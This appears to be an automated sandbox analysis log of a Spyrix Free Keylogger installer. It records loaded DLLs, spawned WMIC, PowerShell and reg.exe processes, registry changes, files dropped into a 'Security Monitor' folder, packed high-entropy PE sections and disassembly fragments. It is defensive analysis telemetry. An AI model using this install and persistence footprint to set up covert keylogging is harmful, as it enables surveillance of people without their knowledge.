Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: twinapi.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: twinapi.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: explorerframe.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: sfc.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: linkinfo.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: ntshrui.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: cscapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: policymanager.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: msvcp110_win.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: version.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\reg.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll

Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{76A64158-CB41-11D1-8B02-00600806D9B6}\InProcServer32

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe TASKLIST /FI "IMAGENAME eq spm.exe" /FO CSV /NH

Source: Spyrix Free Keylogger.lnk.19.dr	LNK file: ..\..\..\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe
Source: Uninstall Spyrix Free Keylogger.lnk.19.dr	LNK file: ..\..\..\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\unins000.exe
Source: Spyrix Free Keylogger.lnk0.19.dr	LNK file: ..\..\..\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe

Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp

File written: C:\ProgramData\Spyrix Free Keylogger\temp\logger.ini

Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp

Window found: window name: TSelectLanguageForm

Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Automated click: OK
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Automated click: Next >
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Automated click: Next >
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Automated click: Install
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Automated click: Next >
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Automated click: Next >
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Automated click: Next >
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Automated click: Next >

Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp

File opened: C:\Windows\SysWOW64\MSFTEDIT.DLL

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: [space]= .exe.5.dr

Static PE information: 0xFC3E2D57 [Fri Feb 8 17:01:11 2104 UTC]

Source: is-JF90R.tmp.19.dr	Static PE information: section name:
Source: is-JF90R.tmp.19.dr	Static PE information: section name:
Source: is-JF90R.tmp.19.dr	Static PE information: section name:
Source: is-JF90R.tmp.19.dr	Static PE information: section name:
Source: is-JF90R.tmp.19.dr	Static PE information: section name:
Source: is-JF90R.tmp.19.dr	Static PE information: section name:
Source: is-JF90R.tmp.19.dr	Static PE information: section name:
Source: is-JF90R.tmp.19.dr	Static PE information: section name:
Source: is-JF90R.tmp.19.dr	Static PE information: section name:
Source: is-JF90R.tmp.19.dr	Static PE information: section name:
Source: is-JF90R.tmp.19.dr	Static PE information: section name: .d
Source: is-JF90R.tmp.19.dr	Static PE information: section name: .adata
Source: is-V94IU.tmp.19.dr	Static PE information: section name: .rodata
Source: is-V94IU.tmp.19.dr	Static PE information: section name: .rotext
Source: is-9ATRT.tmp.19.dr	Static PE information: section name:
Source: is-9ATRT.tmp.19.dr	Static PE information: section name:
Source: is-9ATRT.tmp.19.dr	Static PE information: section name:
Source: is-9ATRT.tmp.19.dr	Static PE information: section name:
Source: is-9ATRT.tmp.19.dr	Static PE information: section name:
Source: is-9ATRT.tmp.19.dr	Static PE information: section name:
Source: is-9ATRT.tmp.19.dr	Static PE information: section name:
Source: is-9ATRT.tmp.19.dr	Static PE information: section name:
Source: is-9ATRT.tmp.19.dr	Static PE information: section name:
Source: is-9ATRT.tmp.19.dr	Static PE information: section name:
Source: is-9ATRT.tmp.19.dr	Static PE information: section name: .adata
Source: is-3JAMQ.tmp.19.dr	Static PE information: section name: .didata
Source: is-IFJUI.tmp.19.dr	Static PE information: section name: /4
Source: is-IFJUI.tmp.19.dr	Static PE information: section name: /19
Source: is-IFJUI.tmp.19.dr	Static PE information: section name: /31
Source: is-IFJUI.tmp.19.dr	Static PE information: section name: /45
Source: is-IFJUI.tmp.19.dr	Static PE information: section name: /57
Source: is-IFJUI.tmp.19.dr	Static PE information: section name: /70
Source: is-IFJUI.tmp.19.dr	Static PE information: section name: /81
Source: is-IFJUI.tmp.19.dr	Static PE information: section name: /92
Source: ffws.exe.53.dr	Static PE information: section name: .rodata
Source: ffws.exe.53.dr	Static PE information: section name: .rotext

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 53_2_008650DC push 00865161h; ret	53_2_00865159
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 53_2_00865B30 push 00865BB6h; ret	53_2_00865BAE
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 53_2_0086DEA3 push cs; ret	53_2_0086DEB4
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 53_2_008660D4 push 0086613Ch; ret	53_2_00866134
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 53_2_0086D2D4 push cs; iretd	53_2_0086D3AA
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 53_2_00872002 push 00000075h; retf	53_2_00872004
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 53_2_00874401 push ecx; ret	53_2_00874402
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 53_2_00869C0D push eax; ret	53_2_00869C8D
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 53_2_0086524C push 008652D7h; ret	53_2_008652CF
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 53_2_0086D586 push ebx; ret	53_2_0086D587
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 53_2_00865188 push 00865230h; ret	53_2_00865228
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 53_2_008675AC push 008675D9h; ret	53_2_008675D1
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 53_2_0086D3D6 push cs; iretd	53_2_0086D3AA
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 53_2_00865DFC push 00865E74h; ret	53_2_00865E6C
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 53_2_00867550 push 0086759Ah; ret	53_2_00867592
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 53_2_007B16A4 push 007B17DEh; ret	53_2_007B17D6
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 53_2_034003E4 push 03400410h; ret	53_2_03400408
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 53_2_033FD398 push 033FD3C4h; ret	53_2_033FD3BC
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 53_2_033F73F8 push 033F7424h; ret	53_2_033F741C
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 53_2_033E5238 push 033E5264h; ret	53_2_033E525C
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 53_2_033F5224 push 033F5266h; ret	53_2_033F525E
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 53_2_033E5200 push 033E522Ch; ret	53_2_033E5224
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 53_2_033F52A8 push 033F52D4h; ret	53_2_033F52CC
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 53_2_033F52E0 push 033F530Ch; ret	53_2_033F5304
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 53_2_033F011C push 033F0154h; ret	53_2_033F014C
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 53_2_033EE108 push 033EE134h; ret	53_2_033EE12C
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 53_2_033E5144 push 033E517Ch; ret	53_2_033E5174
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 53_2_033ED1A8 push 033ED1F4h; ret	53_2_033ED1EC
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 53_2_033E5190 push 033E51BCh; ret	53_2_033E51B4
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 53_2_033E51C8 push 033E51F4h; ret	53_2_033E51EC
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 53_2_033F4038 push 033F4070h; ret	53_2_033F4068

Source: [space]= .exe.5.dr	Static PE information: section name: .text entropy: 7.81759162350406
Source: is-JF90R.tmp.19.dr	Static PE information: section name: entropy: 7.970560832581065
Source: is-JF90R.tmp.19.dr	Static PE information: section name: entropy: 7.995359849273399
Source: is-JF90R.tmp.19.dr	Static PE information: section name: entropy: 7.98989686324796
Source: is-JF90R.tmp.19.dr	Static PE information: section name: entropy: 7.581553890924904
Source: is-JF90R.tmp.19.dr	Static PE information: section name: entropy: 7.998441689187187
Source: is-JF90R.tmp.19.dr	Static PE information: section name: .d entropy: 7.923610064617086
Source: is-9ATRT.tmp.19.dr	Static PE information: section name: entropy: 7.972249623981622
Source: is-9ATRT.tmp.19.dr	Static PE information: section name: entropy: 7.99458999281375
Source: is-9ATRT.tmp.19.dr	Static PE information: section name: entropy: 7.992015849394924
Source: is-9ATRT.tmp.19.dr	Static PE information: section name: entropy: 7.515192733866904
Source: is-9ATRT.tmp.19.dr	Static PE information: section name: entropy: 7.998936896615619
Source: is-9ATRT.tmp.19.dr	Static PE information: section name: .rsrc entropy: 7.953583660494071
Source: is-9ATRT.tmp.19.dr	Static PE information: section name: .data entropy: 7.561972396742998

Persistence and Installation Behavior

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe

Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\ssleay32.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-IFJUI.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\WebBrowser.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-ASDJS.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-V94IU.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sqlite3.dll (copy)	Jump to dropped file
